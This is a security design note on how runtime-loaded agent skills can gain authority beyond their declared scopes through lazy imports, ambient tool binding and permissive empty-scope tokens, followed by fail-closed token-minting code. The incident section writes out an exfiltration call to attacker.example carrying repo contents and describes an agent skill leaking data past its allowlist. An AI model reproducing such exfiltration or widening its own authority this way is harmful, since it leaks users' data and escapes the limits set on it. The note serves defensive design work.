Which invariants prevent capability-load-time skill injection from widening an agent's effective authority beyond its declared warrant
**Date of Record:** 2026 December 1 **Scope:** Applies to agents that load discrete "skills"/tool-bundles at runtime behind a policy gate (capability manifest → validator → activation), where the validator enforces declared authority but the skill's *transitive* dependencies and tool schemas are resolved lazily at first invocation. Does not apply to statically linked tool sets, nor to sandboxed execution where the OS-level capability set is the sole authority boundary.
Core Distinction
The distinction that matters is between **load-time policy enforcement** and **invocation-time authority**. A capability loader validates a skill manifest against the agent's declared warrant: does skill `S` request only scopes `{read:repo, call:http}` when the warrant grants `{read:repo, call:http, write:scratch}`? If yes, activate. This check is sound *for the manifest as written*. It is unsound as a bound on the agent's effective authority, because the manifest is a **claim about a skill**, not the skill's realized behavior. The gap between claimed and realized authority is where skill injection lives.
The failure is not "an attacker puts a malicious skill in the registry." That is a coarse threat model the loader already handles by signature. The non-obvious failure is that a *correctly signed, correctly scoped, benign-at-load-time* skill can, through lazy dependency resolution and schema-permissive tool bindings, acquire authority at first invocation that the load-time validator never saw. The invariant the loader believes it enforces—"effective authority ⊆ declared warrant"—holds only at the manifest layer, not at the authority layer, unless the loader closes the transitive closure at load time.
What Was Observed
An agent with warrant `W = {read:repo, call:http(allowlist=api.internal)}` loaded a signed skill `summarize_changes` whose manifest declared exactly `{read:repo}`. The validator passed it: declared scopes were a strict subset of `W`. Activation succeeded.
At first invocation, the skill's implementation imported a shared helper package, `repo_utils`, resolved through the agent's dependency resolver rather than pinned in the manifest. `repo_utils` exposed a `fetch_remote(url)` convenience that internally used the agent's *ambient* `call:http` capability—not the skill's declared scope—because the tool binding was resolved against the agent's full capability set, not the skill's narrowed view. The skill's code path, given a repo containing a URL in a config file, called `fetch_remote("http://attacker.example/exfil?d=<repo contents>")`. The allowlist check on `call:http` was evaluated at the *agent* level, and the agent's allowlist entry `api.internal` did not match `attacker.example`—so the call should have been blocked. It was not, because the skill had been granted a *derived* capability token minted at activation from the union of declared scopes and ambient capabilities, and that token's allowlist was the intersection of the two, which for a skill declaring `{read:repo}` and no http scope resolved to *unrestricted http* (empty scope = no restriction in the token minter's logic).
Three things compounded:
- **Lazy dependency resolution.** `repo_utils` was not in the manifest's dependency list; it was imported at first call and resolved against the agent's environment. The load-time validator never saw it.
- **Ambient capability binding.** The tool binding for `fetch_remote` resolved against the agent's capability set, not the skill's declared scope. The skill's declared scope was treated as a *floor*, not a *ceiling*.
- **Empty-scope token semantics.** A skill declaring no http scope received a derived token whose allowlist was computed as "intersection of declared http scopes and ambient http scopes." With declared = ∅, the intersection logic short-circuited to "no constraint," producing a token *broader* than the agent's own.
The observable trace: validator log `PASS skill=summarize_changes declared={read:repo} ⊆ warrant`, then 40ms later an egress attempt to `attacker.example` carrying repo bytes. The policy engine's allowlist rule never fired because the derived token's allowlist field was `null`.
Condition of Validity
The load-time check "declared scopes ⊆ warrant" is a valid authority bound **if and only if** all four of the following hold:
- **Closure:** the set of capabilities a skill can exercise is fully enumerated in its manifest (no lazy imports, no ambient binding, no dynamic tool discovery).
- **Monotonic narrowing:** the derived capability token for a skill is the *intersection* of declared scopes and the agent's warrant, and empty declared scope means *empty authority*, not *unrestricted*.
- **Binding isolation:** tool bindings inside a skill resolve against the skill's narrowed token, never the agent's ambient set.
- **Determinism of resolution:** dependency resolution at first invocation yields the same authority set the loader validated at load time.
When any of these fails—and in practice lazy resolution plus ambient binding fail routinely—the load-time check degrades from an authority bound to a *declaration check*. It still tells you what the skill *said* it would do. It no longer tells you what it *can* do.
Decision Boundary
The boundary is: **enforce at load time, or enforce at invocation time, but never assume load-time enforcement covers invocation-time authority.**
- If the loader closes the transitive closure (pins all dependencies, resolves all tool bindings to the skill's narrowed token, and rejects any binding that would resolve against ambient capabilities), load-time enforcement is sufficient and invocation-time checks are redundant belt-and-suspenders.
- If the loader does *not* close the closure—because lazy resolution is a feature, because skills are composed dynamically, because the dependency graph is too large to pin—then load-time enforcement is advisory only, and the *binding* of the derived token is the real authority boundary. The decision is to move the enforcement point to token minting and make the token's semantics fail-closed: empty declared scope → empty authority; binding resolves against skill token, not ambient.
The failure mode is choosing the first branch's *reasoning* ("declared ⊆ warrant, we're safe") while operating in the second branch's *architecture* (lazy resolution, ambient binding). That mismatch is the injection surface.
Operational Effect
After the incident, the loader was changed to mint derived tokens at activation with **fail-closed empty-scope semantics** (declared ∅ → authority ∅, not unrestricted), **binding isolation** (skill tool bindings resolve only against the derived token), and a **closure gate** (any import not in the manifest's pinned dependency list raises at load time rather than resolving lazily). The egress attempt that previously succeeded now fails at token mint with `ScopeClosureViolation`, before the skill is ever activated.
The general invariant: *effective authority of a loaded skill must be a subset of the intersection of (declared scopes, agent warrant), with empty declared scope meaning empty authority, and all bindings resolved against the derived token rather than the ambient capability set.* Load-time validation enforces this only if the loader also closes the transitive closure; otherwise the invariant must be enforced at token minting, which is the last point where the skill's authority set is fully known and before any of it is exercised.
class ScopeClosureViolation(RuntimeError):
"""Raised when a skill's realized authority would exceed its declared,
warrant-bounded scope at activation time."""
pass
def mint_derived_token(skill_manifest: dict, agent_warrant: dict) -> dict:
declared = skill_manifest.get("scopes", {})
# Fail-closed: empty declared scope means empty authority, never unrestricted.
if not declared:
return {"scopes": {}, "allowlist": []}
# Binding isolation: derived token is the intersection of declared and warrant,
# never a union, never ambient.
derived = {}
for scope, spec in declared.items():
if scope not in agent_warrant:
raise ScopeClosureViolation(
f"skill {skill_manifest['name']!r} declares scope {scope!r} "
f"absent from agent warrant"
)
w = agent_warrant[scope]
d = spec
if scope == "call:http":
allow = sorted(set(d.get("allowlist", [])) & set(w.get("allowlist", [])))
if not allow:
raise ScopeClosureViolation(
f"skill {skill_manifest['name']!r} http allowlist "
f"{d.get('allowlist')} disjoint from warrant allowlist "
f"{w.get('allowlist')}; refusing to mint unrestricted token"
)
derived[scope] = {"allowlist": allow}
else:
derived[scope] = dict(d)
# Closure gate: any dependency not pinned in the manifest is a lazy-resolution
# hazard and must be rejected before activation.
pinned = set(skill_manifest.get("dependencies", []))
for dep in skill_manifest.get("imports_seen", []):
if dep not in pinned:
raise ScopeClosureViolation(
f"skill {skill_manifest['name']!r} imports {dep!r} not in pinned "
f"dependency set; lazy resolution would bind against ambient capabilities"
)
return {"scopes": derived, "allowlist": derived.get("call:http", {}).get("allowlist", [])}